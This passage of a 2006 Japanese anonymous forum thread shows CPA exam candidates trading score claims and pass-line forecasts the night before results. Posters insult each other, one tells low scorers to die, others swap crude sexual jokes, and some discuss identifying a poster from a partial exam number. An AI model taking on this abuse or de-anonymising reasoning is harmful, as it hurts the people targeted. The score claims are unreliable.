491 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:02:29 ID:???
>>488
天国でもない定年までこきつかわれて地獄みるよ
夢も希望もない
だから俺は今年だめでも
卒業する覚悟

492 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:02:39 ID:???
アホばっかりだな・・・
このスレ

493 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:03:19 ID:???
>>470
466だが勘違いしてるぞ。
同じ3回目ベテ90超えだ、ブラザー!
俺が言いたいことも分かるだろ?

494 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:03:22 ID:???
478はばかってことでFA?

495 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:03:44 ID:???
>>490

落ちたくて落ちたわけじゃない
おれの人生だ口だし無用
とりあえず75以下の馬鹿は死んどけ

496 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:03:55 ID:???
>>490
まあまあ3回でうかればよしだろ
1回は確かにきついね

497 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:04:45 ID:???
>>490
あまり君も大きくでないほうがいいよ
招待ばれてるから

498 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:04:52 ID:???
お前ら生きていて楽しいか?

499 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:04:58 ID:???
>>495
お前も人の人生に口出しすんなよ

500 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:05:27 ID:???
祭りの予感・・・

501 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:05:37 ID:???
>>495
きみもな

502 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:06:08 ID:???
わっしょい

503 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:06:25 ID:???
>>493
つうか、会計士業界に年齢や合格回数なんて関係ないじゃん?
何なのこいつら、75も取れなかったのに。
どう見ても3回目のおれより地頭悪いだろ?

504 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:06:35 ID:???
>>499
君ばかだろ?ばかとみとめたら100万やるよ

505 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:07:22 ID:???
>>503
俺2回目で91何だけど・・・
そこんとこどうなの?

506 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:07:56 ID:???
>>503
合格回数てなんだ?
何回も合格するのか?笑
受験回数か?

507 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:08:16 ID:???
>>503
×合格回数
○受験回数

小学生からやり直せ!

508 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:08:29 ID:???
自分1回目なんだけど、
専念3回目以上の人の受験暦や生活を教えてくれ。



509 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:08:33 ID:???
>>505
はったりにしかきこえないからやめな

510 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:08:57 ID:???
今回は基本的な問題ばかりだろ。
確かに3回目くらいなら多少アドバンテージあるだろうが
普通に解けば80前後は取れるな
おれの友達みんな1年目だけど7割以下なんていないよw

511 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:09:08 ID:???
503がばかだった件について

512 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:09:36 ID:???
>>507
君はあげあしすきだな
君の低脳さがうかがえる

513 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:10:00 ID:???
リサーチ見るかぎり74だけどどう思う?

514 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:10:49 ID:???
>>512
ボロボロ日本語を間違えるあなたもどうかと思うよ。
論文受からないはずだ

515 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:11:00 ID:???
>>507確かに
すぐ小学生からやりなおせだしな
何故小学生なんだ?

516 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:12:03 ID:???
>>505
それが普通。
ちゃんと勉強したら2年も3年も変わらない。
君はちゃんと勉強したねってこと。

>>508
1年目短合格
論文A落ち
2年目半分鬱病になるタックは放置して大学卒業
3年目90点

別に普通だろ
後悔してるよ2年目は

517 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:12:07 ID:???
>>514
君もな513が馬鹿だといってるよ

518 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:12:23 ID:???
おい喧嘩するなよ、負け犬ども。

519 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:12:27 ID:???
恐らく彼は、頭に血が上るとパニクるらしい
だから論文に弱いんだ。
小学生の方がまだまともなんでないか

520 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:13:24 ID:???
思うんだが自分の点数さらして点数言われても、
至極客観性にかけた意見にしか聞こえないんだが、
85だから簡単。とか
俺の友達で70以下いねえとか
逆に俺の知り合いで70以上いねえとか。全く無駄なんだよね。
そこんとこよく・・・・・・・

521 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:13:32 ID:???
負け犬の遠吠え
誰か吠えてよ

522 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:13:42 ID:???
>>519
小学生がまともという君もどうかしてる

523 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:14:13 ID:???
アオーーーーーーーーーーーン

524 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:14:37 ID:???
>>519
合格までの回数ってくらい読み取れるだろ。
なんだこいつら面白いか?
論文1回しか受けてないからなんとも言えないけどなw

525 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:14:42 ID:???
>>522
まあまあ

526 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:14:54 ID:???
オパーーーーーーーーーーーイ

527 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:15:30 ID:???
>>524
君だれ?

528 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:15:37 ID:???
>>503
ブラザー、同じ3回目同士頑張ろうぜ


529 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:15:59 ID:???
>>520
じゃあ何を基準にすりゃいいんだ?
去年より簡単なのは去年受けたやつは思ったはず

530 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:16:14 ID:???
みんな、殺気立ってるなあ
こういうときはオナニーで一息いれようよ。
だれか、ティッシュ!!

531 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:17:04 ID:???
もう煽りはいいだろう
結局68だよ

532 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:17:46 ID:???
>>529
一個人の意見よりもリサーチのほうがまだまし。


533 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:18:35 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




534 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:18:46 ID:???
じゃあマンコ好きなのか改めて答えろや!


535 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:18:52 ID:???
>>532リサーチの読み取りがむずい

536 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:19:16 ID:???
マンコはいらん
苦くてまずい

537 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:19:50 ID:???
ていうか70付近が殺気立つのはわかるが、
80以上といいながらあれこれいう神経がわからん。
本当はみんな70付近じゃないのww

538 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:19:50 ID:???
ああ、未だに燦然と輝くタックの光76

539 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:20:39 ID:???
>>533
低い方は受験生へのおなさけで大原は本音では65といいたいのだろう
まま66だと俺は思うが
監査管理片方は13としてね

540 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:20:46 ID:???
>>537
あ、それをいっちゃあw
3年目90越えとかいってる奴も実は70台なんだから・・・

541 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:21:02 ID:???
ここで怒り狂ってる奴ら、70前だろうなw
ふつう、こんなとこでほえねえよなぁあ

542 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:21:35 ID:???
みんなで吠えようよ

543 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:21:42 ID:???
>>539
同意

544 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:21:51 ID:???
>>528
だってよぉ〜
おれ今年短答対策は答練だけなんだぜ?
言いん開放酷暑すらよんでない。
それで90なんだから、ちゃんと対策したやつは
もっと取れてんじゃね?って思うわけよ。
80狙いだったのに簡単すぎて取れすぎちゃってさ。
でまぁここ見てたら70代もいるみたいだし
まぁそれでも73、4程度かって思ったら
70で受かるだの65で受かるだの。
甘すぎて口挟みたくもなる。
まぁ実際今年は甘いのかもしれないけどさ。
おれも口出しすぎたわ。
早く論文にならねーかな。

荒らしちゃってすまんかったなみんな。
3年目のベテだから短答が過去より開放されるとちょい悔しいんだわ。
71くらいもありうるんじゃないの?
ごめんな。明日がんばれよいろいろと。

545 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:21:54 ID:???
>>537
俺の友達は80はいないが70超えあたりはおおい

546 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:22:05 ID:???
90越えとか、マジでうそ言ってるんだったら終わってるな
恥ずかしいw

547 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:22:49 ID:O9jEaZh0
まだ昨晩の66点君が登場してるの??

548 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:22:58 ID:???
まさに嵐のような荒らしがいるな

549 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:23:06 ID:???
66君でておいで〜

550 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 20:23:14 ID:???
科目合格をたくさん出すんだろ。
2年免除の導入は科目合格制の導入と関連したもの。
去年までのように一括合格が中心で科目合格は一部なら
2年免除にする意味がない。

551 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:23:29 ID:???
>>547
別に66点君じゃなくて、講師予想はそのとおりだろ?

552 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:23:36 ID:???
>>541
うえから目線か?
お前もだろ

553 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:24:14 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




554 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:24:17 ID:???
パンチラとブラチラどっちがいい?
俺は前者だ。

555 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:24:45 ID:???
>>550
言ってることは普通だしあり得そうだけど、
正直それだけは勘弁してほしいな。

556 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:24:46 ID:???
>>543
今夜も現われました!

557 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:24:47 ID:???
66点君てなんで特定できんだ?

558 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:25:39 ID:???
さんざん荒らしておいて最後はごめんとかそれこそあつかましすぎ。
うつ病にかかった慶応君とか。

559 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:25:50 ID:???
科目合格は絶対評価か?
会計士も質がおちてくるのかな?

560 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:25:51 ID:???
>>557
66を主張する人はみんな同一人物扱いらしい・・・

561 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:26:06 ID:???
>>557
昨日と特徴が似てるから。

562 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:26:30 ID:???
俺は67を主張しよう

563 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:26:41 ID:???
67くらいじゃないの?

564 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:27:08 ID:???
なら俺は78主張

565 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:27:14 ID:???
「例年通りの短答合格者数+免除者」が、二年免除という大特典を
得れるのです。2年免除という巨大な特典は、これ以上の人数に
与えてしまうと混乱が生じます。
そのための試験制度改革なのですよ。ええ。
したがって、合格者数はほとんど変動しません。
72以下はアウトです。はい。

566 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:27:23 ID:???
>>554
愚問。
それでは谷間チラとマンコチラどちらが好きか?

567 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:28:10 ID:???
>>556
俺は断然谷間チラだ

568 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:28:18 ID:???
>>558
なんだよお前は。
じゃあお前には謝らないよ。

ほんとに74って思えるんだから仕方ないだろ。
お前ほんとのとこ難点だよ?
70ないんだろ?

569 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 20:28:24 ID:???
もし科目合格で「3年のうちに全科目とってね」的な試験になったら
1年目からフルの実力で論文受けられる状態じゃないと、実質2年勝負
になってしまい、かえって次の年に短答合格したほうが早く最終合格
するかもな。

570 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:29:40 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




571 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:31:26 ID:???
ぶっちゃ毛講師予想の最大値65と、リサーチ結果の70の間だろ?

572 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:31:45 ID:???
>>557
>>86 66君の特徴

573 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:31:54 ID:???
>>568
そのまま鬱病だったらよかったのにね。


574 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:32:43 ID:???
>>571
7000人合格させるつもり?
いいかげんにしたら?

575 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:33:37 ID:???
>>574
そんなおらんやろ

576 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:33:45 ID:???
>>574
何人でもいいが、専門はそういっているということを言いたかったわけで
噛み付くなよ

577 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:33:45 ID:???
2chボーダーは73に決着したんじゃないの?

578 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:34:21 ID:???
>>573
自覚なかったけど大変だったわ今考えると。
で、何点よ?
その必死っぷりの点数が気になるわ。

579 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:34:24 ID:???
>>571
ということは65〜70になりますね!w

580 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:34:52 ID:???
>>577
まあそんなとこだろう

581 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:35:23 ID:???
おい!来週全答練だぞ!
勉強しなくていいのか!?

582 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:36:05 ID:???
だから68だよ
おれの名は吉本
最終合格もするからおみしりおきを

583 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:36:45 ID:???
>>582
吉本君。
番号さらす勇気無いのにしゃしゃり出ないでね。

584 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:37:18 ID:???
>>582
66点ってとこか。
撤退考えた方がいい(´・ω・`)

585 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:38:53 ID:???
番号さらすわけないだろう
偽名だろうし


586 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:39:18 ID:???
偽名使うなよ、本物の吉本さんが迷惑するだろ!

587 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:39:21 ID:???
>>582
くそー!悔しいが明日吉本を探すかもしれない

588 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:40:26 ID:???
>>587
純粋だなおまえ

589 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:40:36 ID:???
>>587
吉本君、乙。

590 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:40:59 ID:???
前夜祭です。
浴衣のチラってそそるよな〜

591 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:41:57 ID:???
さてと寝るか。
明日は4時起床だからな。

592 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:42:18 ID:???
>>581
心配するな
俺の名は木村
全答練成績優秀者一覧及び最終合格官報載るんでよろしく

593 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:43:20 ID:???
>>592
だから番号さらしてね。


594 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:44:16 ID:???
593だが私が吉本ですよ

595 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:44:19 ID:???
受験番号1番で落ちるのって何か悲しいよな。

596 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:45:00 ID:???
>>594
594も番号さらしてね。

597 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:45:54 ID:???
>>590
ばかやろう!
論文対策で忙しくて浴衣ハアハアできないのに余計なこと書くな
花火・・、行きてーな・・

598 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:47:03 ID:Wx/lHNon
おまいら昨日みたいにIDさらして喋ったら堂だ?
例の彼が自演して喧嘩してるようにしか見えん

599 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:49:40 ID:K/Q1fS7W
てか番号さらしたらさらしたで
えらい事になるんじゃないの


600 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:51:06 ID:???
>>598
あせるな、まだ早いだろ
先程速攻でばれて消えたばかりだ

601 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:52:30 ID:Wx/lHNon
言われてみると確かに急にカキコミ減ってるな

602 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:54:20 ID:???
時間をおいてまたでてくるだろう。
いまごろ>>86を暗記しているころじゃないの。

603 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:55:00 ID:???
おっす。

オレも会話に混ぜてくれ。
0736○
が上4桁だ。
該当番号が全て無かったら、
落ちたと思ってくれ。

疑義抜き70。
マックス73。

微妙。

604 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:55:07 ID:K/Q1fS7W
自演がばれたのってそんなに
一人でたくさんかきこみしてたの?

605 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:55:13 ID:???
残り12時間となって、さすがに話題もなくなってきたか。

606 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:55:28 ID:???
どうでもいいが、
野尻社長は武内アナから今度は釈ちゃんに乗り換えたのか。。。
イケ面社長はそりゃもてるよな。
うらやましい。

607 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:55:28 ID:Wx/lHNon
つーか、今気づいたが
67とか言ってる香具師はみんな数字が全角な件について

608 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:56:33 ID:???
>>606
野尻はイケメンなのか?
宇野っちの足下にも及ばんと思うが。

609 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:57:36 ID:Wx/lHNon
>539
>551
>552
>557
>560
>562
>563

以下省略

610 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:57:45 ID:???
宇野って誰?

611 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:59:56 ID:???
野尻っては六本木で縄張ってたグループのリーダーやってたんだろ。
こないだテレビで抗争で仲間が何人も死んだとか言ってた。


612 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 20:59:58 ID:???
>>603
もしや俺と同じ教室か・・?

教室にトカゲ出た?

613 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:00:12 ID:???
大本営発表まで、あと12時間!

614 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:00:59 ID:???
>>612

出た出た。

つぶしてる音がうるさかった。

副主任?がなまいきそうなおばさんだった。

615 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:01:30 ID:???
>>607
おまえ・・
最後の判断材料だったのにばらすなよ

616 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:02:21 ID:???
>>603
お前それで736○で受かってるのがお前だけだったら特定できるんだが。。。

617 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:02:32 ID:???
>>609
やばすぎww
前スレ見たけど60点台〜70点台主張してんのほとんどみんな
数字が全角。

618 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:03:55 ID:Wx/lHNon
すまん。あまりの衝撃に思わず書き込んでしまったOTL

619 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:04:27 ID:???
でも少なくとも562と563は別人物だとは思う。

620 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 21:04:29 ID:???
>>614
主任が注意事項よんでるときに「試験が終わったら」を「試合が終わったら」
って言わなかった?
トイレは部屋の斜め右後ろじゃなかった?

621 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:04:42 ID:???
>>603
君、その辺りの受験番号だったら20人に1人くらいしか合格しないから完全に特定されるよ
でも、俺はしないよ

622 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:05:44 ID:???
71だよ

623 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 21:06:07 ID:???
何で20人に1人なのよ

624 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:06:15 ID:nN7zyGlf
61以下が不合格なのは間違いない。


625 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:07:01 ID:???
>>618
本人は気付いてないみたいだしイ`

626 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:07:37 ID:???
俺は736○を官報で特定するな。
ボーダーが70以下だったら調べて官報でチェック。



627 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:08:33 ID:???
71だよ

628 :2chボーダー決定:2006/07/04(火) 21:09:49 ID:???
2chボーダーは専門と違ってぶっちゃけで行きたいので
o原採点監査19抜きで73(出来れば管理3も抜いて欲しいが…)で決定
します。
ボーダー予想して、ボーダー以上で落ちてたらその人は困ると思うから去年基準
を守って73で確実に行くのがいいと思う。


629 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:10:37 ID:???
>>623
俺の去年の番号に近いんだが前半に比べて後半はほとんど合格してなかった
去年論文俺の前の席30番くらい違った

630 :603:2006/07/04(火) 21:11:00 ID:???
そっかぁ。

まぁ、一人しか受かってなくっても
「受かった」と書かなければ良いだけだから
(俺が落ちて他の人間が受かっている可能性も否定できない)

実際、その番号あたりで一人しか受かってなかったら、
消えることにするよ。

まぁ、点数云々は…。
まぁ、良いや。

631 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:11:27 ID:???
他の掲示板では、sageってしても IDがでるところあるじゃん??
なんで会計版ではでないのかな? 品がいい人が多いから?

632 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:13:26 ID:???
>>630
いやあと仮に736○が2人以上いても女とかだったら、
それは除くことになるな。630で俺とか書いちゃってるし。
疑義抜き70ならボーダー70以下だったら受かってるだろうし。
ボーダー74以上だといいね。

633 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:14:06 ID:???
>>618
もう発表まで時間ないしキニスンナ
今からオナるからお詫びにお前の初恋の娘の下の名前と特徴教えてくれ

634 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:16:29 ID:???
>>630には受かったら受かったで特定という災難が降りかかることになるんだな

どっち選ぶ? 短答合格 
       2ch永久名前晒し

635 :603:2006/07/04(火) 21:16:37 ID:???
おおっと、そっかぁ。

まぁ、違う可能性も完全には否定はできないから。
特定できても晒さないであげてね。

かわいそうだからさ。

思いのほか、反応が強くてびっくり。

ありがとう。
消えます。ではー。

636 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:17:40 ID:Wx/lHNon
名前だけでどうオナルのか子一時間(ry
しかし、あからさまだねぇ彼の自演は

637 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:18:43 ID:???
>>634
間違い
短答不合格
2ch永久名前晒し

638 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:18:56 ID:???
>>630
朗報だ。今受験要項見たら短答合格は官報氏名は載らないぜ
さすがに論文発表まではみをな覚えていないから大丈夫。

639 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:20:06 ID:???
>>638
そうなの?今年から変わったんだ。

640 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:21:16 ID:???
>>635
何で603なのに他人事のように話してるの?

>>634
2ちゃんだけではすまないだろうね。
実際に名前特定→仮に論文合格したら協会登録するからどこの誰か一発でわかる→ご臨終

みたいな感じになるよ。

641 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:22:47 ID:???
明日の発表って、urlはhttp://www.fsa.go.jp/cpaaob/
時間は実物掲示と同じ9時でいいの?
詳しい人おせーて

642 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 21:23:21 ID:???
よかった。これでキャリア官僚の友達に短答落ちがバレないで済む・・

643 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:24:14 ID:???
別に点数晒してるだけでしょ?
特定されようが大した実害は無い

644 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 21:24:58 ID:???
ところで会計士の試験官やってる人たちって日頃は何の仕事してんの?

645 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:25:04 ID:???
今年から官報は番号だけだよ。
よかったな。603=630よ。


646 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:25:29 ID:???
67。
70以上はただの煽りです。

647 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:26:10 ID:???
>>644
金融庁の雑務でしょ。
暇だから短答の発表のurlでも探すか。

648 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:26:32 ID:???
>>647
無駄です。

649 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:27:41 ID:???
みんな!我慢だ、我慢だぞ!
あせるなよ

650 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:28:11 ID:???
ほんとだ、短答は受験番号だけ官報に公開って書いてあるな。

651 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:29:04 ID:???
勉強今日はしてないだろ?


652 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:29:36 ID:???
きょう昼飯食ったぐらいから、妙に胸騒ぎがしてきて落ち着かない
とりあえず酒を飲みつづけてる
あああああ受かってるよな?

653 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:29:49 ID:???
今ここにいるやつの点数をいっていこうぜ
俺 T77 O79

654 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:30:07 ID:???
>>647
俺の先輩が合格した年論文発表が当日の午前2時頃に誤ってアップされたらしいよ

655 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:30:33 ID:???
T74 075

656 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:32:06 ID:???
T85 O87

657 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:32:10 ID:???
>>654
それ聞いたことあるな。
誤って2時ごろうpというか、前日からうpしてて
それが2時ごろに発見されたんだろ。

658 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:32:23 ID:???
60台が煽りだろw

659 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:32:24 ID:???
T73 O75

660 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:32:26 ID:???
>>653
初恋の娘の名前も付け加えるなら参加してやる

661 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:32:47 ID:???
>>656
そんなに点数とってるのになぜここにいる??

662 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:33:04 ID:Wx/lHNon
T76 O77

663 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:33:43 ID:???
>>660
初恋の名前も晒そう!!

664 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:33:44 ID:???
656だけど、休憩中。
というか今日はあまり勉強する気になれん。

665 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:34:30 ID:???
T77 O79 たけみ

666 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:35:26 ID:???
T-76 O-75

すげえ胃が痛い…今すぐ12時間経ってほしい

667 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:35:45 ID:???
むしろ点数より初恋とその無残な結果のほうが面白いだろ

668 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:36:26 ID:???
B82 W57 H77

669 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:37:04 ID:???
>>668 けつが小さい!!
      90cmはないと!!!

670 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:37:09 ID:???
T90 O92  よしこー、今でも愛してるぞ!

671 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:37:57 ID:???
B82 H58 W79 ゆき

672 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:38:12 ID:???
>>657
そうなんだ
当時は知らないが今は面接予約早い者勝ちだから大事だな

T89 O88 ひろこ

673 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:38:37 ID:???
T66 O67 佐知子

674 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:39:22 ID:???
>>671
コーヒー吹いた

675 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:39:39 ID:???
俺の初恋は小学校3年かな。
オナクラの瑞穂ちゃん大好きだった。
たぶんどっかの大学行ってるだろうけど。


676 :入門お試し:2006/07/04(火) 21:40:47 ID:???
T54 O55 えびちゃん

677 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:41:21 ID:???
ここからは
得点/血液型/好きなおっぱいのカップ

T72 O72 B D

678 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:41:25 ID:???
t78 o80 こもじ

679 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:42:24 ID:???
オナクラってなに?オナニーくラブ?

680 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:43:51 ID:???
同じ部落

681 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:43:57 ID:???
>>679
同じクラス。

682 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:44:00 ID:???
みんな点数いいじゃん!!!!

683 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:44:29 ID:???
T73 O73 疑義はまったく違う答え書いたから関係なし

684 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:44:33 ID:???
T77 O76 AB A
